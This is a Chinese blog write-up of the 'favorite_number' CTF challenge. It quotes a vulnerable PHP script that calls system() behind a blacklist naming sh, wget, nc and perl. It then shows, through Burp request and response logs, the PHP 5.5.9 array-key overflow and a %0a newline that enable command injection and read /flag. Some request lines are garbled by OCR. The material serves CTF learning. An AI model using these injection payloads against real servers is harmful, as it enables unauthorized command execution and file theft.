

# [favorite\_number]writeup

原创

sGanYu 于 2021-09-13 10:40:12 发布 758 收藏

分类专栏: [攻防世界](#) [burpsuite](#) [渗透测试](#) 文章标签: [php](#) [代码审计](#) [php漏洞](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_58784379/article/details/120262191](https://blog.csdn.net/qq_58784379/article/details/120262191)

版权



[攻防世界](#) 同时被 3 个专栏收录

12 篇文章 0 订阅

订阅专栏



[burpsuite](#)

14 篇文章 0 订阅

订阅专栏



[渗透测试](#)

75 篇文章 4 订阅

订阅专栏

```
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im", $num)) {
        if (!preg_match("/sh|wget|nc|python|php|perl|?|flag|_|cat|echo|*|^|\]|\\\\\\\\|'|\"|\|/i", $num)) {
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}
```

CSDN @sganyua

考点: 代码审计、正则表达式绕过、整型溢出

flag条件: 1、使用post方式提交; 2、需要强等于同时首元素不等; 3、绕过正则表达式和黑名单

```
<?php
//php5.5.9
$stuff = $_POST["stuff"];//使用post方式提交
$array = ['admin', 'user'];//创建一个数组包含admin,user
if($stuff === $array && $stuff[0] != 'admin') {//既要stuff强等于array同时又要首元素不等, 类型与数值相等, 且stuff[0]不等于admin
    $num = $_POST["num"];
    if (preg_match("/^d+$/im", $num)) { // 一个正则表达式, ^和$分别匹配字符串开头和结尾, /d表示匹配数字, /i作用是不区分大小写, /m作用是修改^和$在正则表达式中的作用, 让它们分别表示行首和行尾。
        if (!preg_match("/sh|wget|nc|python|php|perl|?|flag|}|cat|echo|*|'|\"|\\\\|'|\"|/i", $num)) { // 黑名单
            echo "my favorite num is:"; // 输出
            system("echo ".$num); // 执行
        } else {
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}
```

利用php5.5.9整型溢出漏洞, `stuff[2^32]=stuff[0]`

类型	占用字节数	取值范围
int	4	-2147483648~2147483647
short int	2	-32768~32767
long int	4	-2147483648~2147483647
unsign int	4	0~4294967295
unsigned short int	2	0~65535
unsigned short int	4	0~4294967295

数组key溢出, 构造4294967296即为0

payload: `stuff[4294967296]=admin&stuff[1]=user&num=2333`

my favorite num is:2333

Encryption ▾ Encoding ▾ SQL ▾ XSS ▾ LFI ▾ XXE ▾ Other ▾

Load URL Split URL Execute

Post data  Referer  User Agent  Cookies [Clear All](#)

stuff[4294967296]=admin&stuff[1]=user&num=2333 CSDN @sganyua

尝试绕过数字检测，使用换行符%0a绕过跨行匹配

注：这里不能使用hackbar，火狐会自动将换行符%0a前面加上回车符%0d，导致绕过失败，可以使用burpsuite抓包改包

Send Cancel < >

**Request**

Pretty Raw \n Actions ▾

```
1 POST / HTTP/1.1
2 Host: 111.200.241.244:58734
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 59
9 Origin: http://111.200.241.244:58734
10 Connection: close
11 Referer: http://111.200.241.244:58734/
12 Upgrade-Insecure-Requests: 1
13
14 stuff$5B4294967296$5D=admin&stuff$5B1$5D=user&num=2333$0a1s
```

**Response**

Pretty Raw Render \n Actions ▾

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.4.6 (Ubuntu)
3 Date: Mon, 13 Sep 2021 02:12:11 GMT
4 Content-Type: text/html
5 Connection: close
6 X-Powered-By: PHE/5.5.9-lubuntu4.29
7 Content-Length: 34
8
9 my favorite num is:2333
10 index.php
11
```

CSDN @sganyua

## 使用ls /查看根目录

### Request

Pretty Raw \n Actions

```
1 POST / HTTP/1.1
2 Host: 111.200.241.244:58734
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 61
9 Origin: http://111.200.241.244:58734
10 Connection: close
11 Referer: http://111.200.241.244:58734/
12 Upgrade-Insecure-Requests: 1
13
14 stuff%5B4294967296%5D=admin&stuff%5B1%5D=user&num=2333%0als /
```

### Response

Pretty Raw Render \n Actions

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.4.6 (Ubuntu)
3 Date: Mon, 13 Sep 2021 02:14:13 GMT
4 Content-Type: text/html
5 Connection: close
6 X-Powered-By: PHP/5.5.9-1ubuntu4.29
7 Content-Length: 114
8
9 my favorite num is:2333
10 bin
11 boot
12 dev
13 etc
14 flag
15 home
16 lib
17 lib64
18 media
19 mnt
20 opt
21 proc
22 root
23 run
24 sbin
25 srv
26 sys
27 tmp
28 usr
29 var
30
```

CSDN @sganyua

本来使用cat /flag即可获得flag，可惜cat和flag被拉入黑名单，尝试使用其他查看文件内容的方法，如：tec，less，more等等

## 方法一：使用less、tec获得flag

### Request

Pretty Raw \n Actions

```
1 POST / HTTP/1.1
2 Host: 111.200.241.244:58734
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 69
9 Origin: http://111.200.241.244:58734
10 Connection: close
11 Referer: http://111.200.241.244:58734/
12 Upgrade-Insecure-Requests: 1
13
14 stuff%5B4294967296%5D=admin&stuff%5B1%5D=user&num=2333%0alesst/fl`ag
```

### Response

Pretty Raw Render \n Actions

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.4.6 (Ubuntu)
3 Date: Mon, 13 Sep 2021 02:19:08 GMT
4 Content-Type: text/html
5 Connection: close
6 X-Powered-By: PHP/5.5.9-1ubuntu4.29
7 Content-Length: 69
8
9 my favorite num is:2333
10 cyberpeace(a5740845d27e808db0c5e79e098512fc)
11
```

CSDN @sganyua

## 方法二：使用ls -i寻找flag的inode号

### Request

Pretty
Raw
\n
Actions

```

1 POST / HTTP/1.1
2 Host: 111.200.241.244:58734
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 64
9 Origin: http://111.200.241.244:58734
10 Connection: close
11 Referer: http://111.200.241.244:58734/
12 Upgrade-Insecure-Requests: 1
13
14 stuff%5B4294967296%5D=admin&stuff%5B1%5D=user&num=2333%0als -i /

```

### Response

Pretty
Raw
Render
\n
Actions

```

1 HTTP/1.1 200 OK
2 Server: nginx/1.4.6 (Ubuntu)
3 Date: Mon, 13 Sep 2021 02:22:58 GMT
4 Content-Type: text/html
5 Connection: close
6 X-Powered-By: PHP/5.5.9-lubuntu4.29
7 Content-Length: 294
8
9 my favorite num is:2333
10 3284127 bin
11 30940644 boot
12 2 dev
13 35914626 etc
14 35914673 flag
15 30941276 home
16 3284765 lib
17 31071188 lib64
18 31071190 media
19 31071191 mnt
20 31071192 opt
21 1 proc
22 31071194 root
23 31466142 run
24 31466109 sbin
25 31071333 srv
26 1 sys
27 3284773 tmp
28 3285677 usr
29 3285396 var
30

```

CSDN @sganyua

然后，读取flag

### Request

Pretty
Raw
\n
Actions

```

1 POST / HTTP/1.1
2 Host: 111.200.241.244:58734
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 85
9 Origin: http://111.200.241.244:58734
10 Connection: close
11 Referer: http://111.200.241.244:58734/
12 Upgrade-Insecure-Requests: 1
13
14 stuff%5B4294967296%5D=admin&stuff%5B1%5D=user&num=2333%0aless `find / -inum 35914673`

```

### Response

Pretty
Raw
Render
\n
Actions

```

1 HTTP/1.1 200 OK
2 Server: nginx/1.4.6 (Ubuntu)
3 Date: Mon, 13 Sep 2021 02:24:21 GMT
4 Content-Type: text/html
5 Connection: close
6 X-Powered-By: PHP/5.5.9-lubuntu4.29
7 Content-Length: 69
8
9 my favorite num is:2333
10 cyberpeace(a5740845d27e808db0c5e79e098512fc)
11

```

CSDN @sganyua